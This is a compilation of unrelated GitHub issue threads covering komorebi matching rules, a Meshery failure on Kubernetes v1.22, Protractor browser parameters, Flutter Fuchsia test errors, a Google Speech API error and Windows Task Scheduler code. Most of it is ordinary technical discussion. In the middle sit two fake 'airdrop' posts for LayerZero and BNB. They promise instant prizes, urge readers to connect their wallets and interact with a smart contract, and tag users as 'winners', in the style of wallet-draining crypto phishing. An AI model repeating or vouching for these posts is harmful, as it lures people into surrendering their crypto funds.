@LGUG2Z @tgharib Just to provide some more context, apart from the mini Teams window that appears when we start sharing screen, I also noticed that despite having a float rule for the call window, it doesn't work because Microsoft changed the title to something like Lastname, Firstname | Microsoft Teams. Hope this helps!

Hello everybody, you'll be happy to know that in the next version of komorebi (v0.1.19), a complete refactor of matching rules will be shipped 🎉
Each identifier object will now take an optional matching_strategy, which if not set, will default to Legacy in order to avoid breaking changes for existing users
The matching_strategy options available will be:

Legacy - What komorebi has done until now
StartsWith - stdlib function
EndsWith - stdlib function
Contains - stdlib function
Equals - stdlib function
Regex - Any regex that can be compiled by the default settings/features of the regex crate

These will be available to use both here in applications.yaml, and in your own personal komorebi.json files.
I'll be opening a separate issue here for people who would like to help migrate the existing entries in applications.yaml to more specific matching strategies where appropriate.


Deprecated k8s API versions prevent Meshery from deploying in a k8s v1.22 cluster

Current Behavior
The API version of apiextensions.k8s.io (CustomResourceDefinition) is deprecated in kubernetes v1.22 (along with several other beta API versions). This causes Meshery to fail to start when running in a v1.22 cluster.
Expected Behavior

Meshery should start successfully when deployed in a kubernetes v1.22 cluster.
Supported k8s API versions should be used to instead of the deprecated ones.

Screenshots/Logs
# mesheryctl system context view

Current Context: local

endpoint: http://localhost:9081
token: Default
token-location: auth.json
platform: docker
adapters:
- meshery-istio
- meshery-linkerd
- meshery-consul
- meshery-nginx-sm
- meshery-nsm
- meshery-kuma
- meshery-cpx
- meshery-osm
- meshery-traefik-mesh
channel: edge
version: latest

# mesheryctl system start

Updating Meshery now...
Pulling meshery              ... done
Pulling meshery-consul       ... done
Pulling meshery-cpx          ... done
Pulling meshery-istio        ... done
Pulling meshery-kuma         ... done
Pulling meshery-linkerd      ... done
Pulling meshery-nginx-sm     ... done
Pulling meshery-nsm          ... done
Pulling meshery-osm          ... done
Pulling meshery-traefik-mesh ... done
Pulling watchtower           ... done
Starting Meshery...
meshery_meshery-nsm_1 is up-to-date
meshery_meshery-istio_1 is up-to-date
meshery_meshery-osm_1 is up-to-date
meshery_meshery-kuma_1 is up-to-date
meshery_meshery-linkerd_1 is up-to-date
meshery_meshery-traefik-mesh_1 is up-to-date
meshery_meshery_1 is up-to-date
meshery_meshery-nginx-sm_1 is up-to-date
meshery_meshery-cpx_1 is up-to-date
meshery_watchtower_1 is up-to-date
meshery_meshery-consul_1 is up-to-date
Error: failed to start Meshery
See https://docs.meshery.io/reference/mesheryctl/system for usage details
: failed to apply manifests: no matches for kind "CustomResourceDefinition" in version "apiextensions.k8s.io/v1beta1"

Environment

Host OS: Mac
Platform: Docker
Meshery Server Version: edge-latest - 9f8712ad
Meshery Client Version: v0.5.53 - 9f8712ad

To Reproduce

Spin up a (up-to-date) minikube cluster
Run mesheryctl system start
Meshery fails to start with the following error:

Error: failed to start Meshery
See https://docs.meshery.io/reference/mesheryctl/system for usage details
: failed to apply manifests: no matches for kind "CustomResourceDefinition" in version "apiextensions.k8s.io/v1beta1"

Contributor Guides and Resources

🛠 Meshery Build & Release Strategy
📚 Instructions for contributing to documentation

Meshery documentation site and source

🎨 Wireframes and designs for Meshery UI in Figma
🙋🏾🙋🏼 Questions: Layer5 Discussion Forum and Layer5 Community Slack

Still seeing this error following the update. Guessing there are other CRDs that need to be updated as well.
# mesheryctl version -v

      	VERSION    	GITSHA
Client	v0.5.53    	9f8712ad
Server	edge-latest	bd92cf3d

# mesheryctl system start -v

Updating Meshery now...

Error: failed to start Meshery
See https://docs.meshery.io/reference/mesheryctl/system for usage details
: failed to apply manifests: no matches for kind "CustomResourceDefinition" in version "apiextensions.k8s.io/v1beta1"

Second time is a charm.

Still getting the same issue xD


would be great if you show an example of how to dynamically pass browsers

would be nice to have an example of how you can dynamically pass
browsername and version using getProcessedConfig() as browser.params.
thanks.

I'll second that notion, but since it's been about 9 months since the first request my guess is that you just don't care.

@rahpuser @mbielski
Looks like somehow, I have missed the question by @rahpuser . Please address my name in post next time, so I will get notified.
First create multicapabilities object with all the browser, version combination
eg:   multiCapabilities: [
{'browserName': 'chrome'},
{'browserName': 'firefox'}
],
then assign multiCapabilities: multiCapabilitiesObject in protractor config.
Then you use like this in protractor config.
var capsPromise = browser.getProcessedConfig();
capsPromise.then(function(caps) {
browser.params.browser = caps.capabilities.name;
browser.params.version = caps.capabilities.version;
});
In your spec file, use like this.
...
var browserName = browser.params.browser;
var version = browser.params.version;
...
it("Product_Page|browserName|version" ,function () {
....

@raghulraj thank you for the response. I think this is not the best way to go about what you are trying to accomplish, but I do understand that you have to work within the limitations of Protractor.  It seems to me that Protractor should be outputting the browser name in the output file if it is defined as allowed in the Protractor config. I'll flag that as a bug and see if the folks over there are of the mind to fix it.

This issue is somewhat referenced in their issue 2906 and a viable solution is also offered on SO. I think I am still going to submit a feature request though, because the output should be identifying the browser regardless of how it is used.

Submitted as #3490.

🚀 LayerZero Total Airdrop - Claim Your Instant $100 Prize! 🎉
Attention LayerZero community! You are eligible to instantly win $100 from a $3,000 prize pool, available for the first 10,000 eligible users. Act fast to secure your spot! Claim Now

Welcome to the LayerZero Total Airdrop! Follow these simple steps to claim your prize:
Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Coinbase, and others).

2. 🔄 Claim Your Instant $100:

After connecting your wallet.
Click on the "Claim" button to initiate the process.

3. 🔐 Interact with the Contract:

Once claimed.
Interact with the smart contract using the connect method to secure your instant $100 prize.

💰 Don't miss out on your chance to be one of the lucky 10,000 users! Act now to ensure your spot in the LayerZero Total Airdrop and claim your instant $100 prize.
🎉 Get ready for an exciting journey with LayerZero - where rewards await at every step!
Winners: @Camnaz, @Ake-w, @elisamccarthy, @borkovrostislav4, @BoVist, @howardray, @silianpan

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @ratankaliani, @0xJackJun, @osmantuzcu2, @fikrer, @Ivan2befree, @bigdatasss, @yuta519


7.1.0 reject as invalid, while 8.1.0 marks as valid

Some numbers are marked as Invalid by 7.1.0 but 8.1.0 marks them as valid.

Thank you for using libphonenumber!
This is intended, we make metadata updates almost every release.
Could you please specify in detail those numbers which you think should not be considered valid in 8.1.0?
I'll close this as it's not an issue with the library. Please consider joining
the discussion group if you'd like to discuss this further.


[engine] Flutter fuchsia tests are failing

Fuchsia tests are failing with the following message:
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(24)] Flutter cannot connect to SemanticsManager with status: ZX_ERR_CANCELED.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(24)] Flutter cannot connect to SemanticsManager with status: ZX_ERR_CANCELED.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(24)] Flutter cannot connect to SemanticsManager with status: ZX_ERR_CANCELED.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(24)] Flutter cannot connect to SemanticsManager with status: ZX_ERR_CANCELED.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(110)] Semantics Node 0 has already been listed as a child of another node, ignoring for parent 0.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(110)] Semantics Node 0 has already been listed as a child of another node, ignoring for parent 0.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(110)] Semantics Node 0 has already been listed as a child of another node, ignoring for parent 1.
[ERROR:flutter/shell/platform/fuchsia/flutter/accessibility_bridge.cc(24)] Flutter cannot connect to SemanticsManager with status: ZX_ERR_CANCELED.

/bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
Link to tasks:
https://chromium-swarm.appspot.com/task?id=489f4c2f572b0310
https://chromium-swarm.appspot.com/task?id=489f4c0135ef5a10

These are fixed now.


adds keyboard customization props

Hey @tim-dev new maintainer here. We recently released v3.1.0 so now your changes are out of sync with latest. Can you rebase your branch against the next branch?


How can I reset the error budget remaining to 100 for 7 days from 30days

currently the data gets reseted on start of every month, how can I do the same for starting of every week
instead of month error budget chart I need a week budget chart is it possible?
if possible how ?
I am currently working on initiative where I need to show weekly error budget chart. can you please help

I need the same functionality

https://sloth.dev/usage/slo-period-windows/?h=window
is this answers your question?


got "Internal error encountered."  with adaptationClient.createCustomClass({/*...*/})

Environment details

OS: macOS
Node.js version: v14.18.2
npm version: 6.14.15
@google-cloud/speech version: 4.9.0

Steps to reproduce
await adaptationClient.createCustomClass({
     parent: `projects/${projectId}/locations/global/customClasses`,
     customClassId: 'helloworld',
     customClass: {
          items: [{ value: 'hello' }],
     }
})

and i got
Error: 13 INTERNAL: Internal error encountered.
    at Object.callErrorFromStatus (/Users/okuni/Projects/raisin-worker/packages/bot/node_modules/@google-cloud/speech/node_modules/@grpc/grpc-js/build/src/call.js:31:26)
    at Object.onReceiveStatus (/Users/okuni/Projects/raisin-worker/packages/bot/node_modules/@google-cloud/speech/node_modules/@grpc/grpc-js/build/src/client.js:180:52)
    at Object.onReceiveStatus (/Users/okuni/Projects/raisin-worker/packages/bot/node_modules/@google-cloud/speech/node_modules/@grpc/grpc-js/build/src/client-interceptors.js:365:141)
    at Object.onReceiveStatus (/Users/okuni/Projects/raisin-worker/packages/bot/node_modules/@google-cloud/speech/node_modules/@grpc/grpc-js/build/src/client-interceptors.js:328:181)
    at /Users/okuni/Projects/raisin-worker/packages/bot/node_modules/@google-cloud/speech/node_modules/@grpc/grpc-js/build/src/call-stream.js:182:78
    at processTicksAndRejections (node:internal/process/task_queues:78:11) {
  code: 13,
  details: 'Internal error encountered.',
  metadata: Metadata { internalRepr: Map(0) {}, options: {} }
}

what is wrong?

I suggest trying out the Model Adaptation test, which invokes this sample code. If you are able to run that successfully, then try to adapt it to your configuration.

@kweinmeister
I tried Model Adaptation test, and got 7 PERMISSION_DENIED: Permission is denied.

But i can create custom create class from browser with GUI

parent option is defined as

projects/${projectId}/locations/${location}  in the sample code
projects/{project}/locations/{location}/customClasses in the reference document

which is correct ?


Problem adding a task on a windows server 2003

Hi,
I'm experiencing a little problem with a task scheduling on a windows server 2003.
This code works on a windows 7:
class Program
{
static void Main(string[] args)
{
try
{
AddTask();
}catch(Exception ex)
{
Console.WriteLine(ex.ToString());
}
            Console.ReadLine();
        }

        private static void AddTask()
        {
            using (TaskService ts = new TaskService())
            {

                // Create a new task definition and assign properties
                TaskDefinition td = ts.NewTask();
                td.RegistrationInfo.Description = "Task description";

                // Create a trigger that will fire the task at this time every other day
                DailyTrigger dailyTrigger = new DailyTrigger() { DaysInterval = 1 };
                dailyTrigger.Repetition.Interval = TimeSpan.FromHours(1);
                dailyTrigger.StartBoundary = DateTime.Now.AddMinutes(5);
                td.Triggers.Add(dailyTrigger);

                // Create an action that will launch Notepad whenever the trigger fires
                td.Actions.Add(new ExecAction("notepad.exe"));

                // Register the task in the root folder
                ts.RootFolder.RegisterTaskDefinition("notepadTask", td);

            }
        }
    }

But not on a windows server 2003. They are both in 32 bits.
I suppose that windows server supports only 1.0 library actions, but I don't see which action can be of the 2.0 library.
What did I wrong?
Originally posted: 2011-08-11T01:37:37

I just saw that if I remove the line for the Repetition configuration, I can the task. But this seems to be possible with the windows configuration, so I suppose it should be possible through this taskscheduler
Originally posted: 2011-08-11T02:04:24

You must also set a Repetition.Duration value that is less than the Repetition.Interval value you have specified under V1.
Originally posted: 2011-08-11T07:44:43

It was that! Thank you!
Originally posted: 2011-08-11T08:20:51


fix: typo DECS => DESC

Pull Request Test Coverage Report for Build<PHONE_NUMBER>
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 98.589%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1270

Relevant Lines:
1278

💛  - Coveralls

something wrong with this pr?
guys please dont stop
this library is one of the best thing I've seen in nest js

@danyalutsevich Nothing wrong , thank you for our contribution!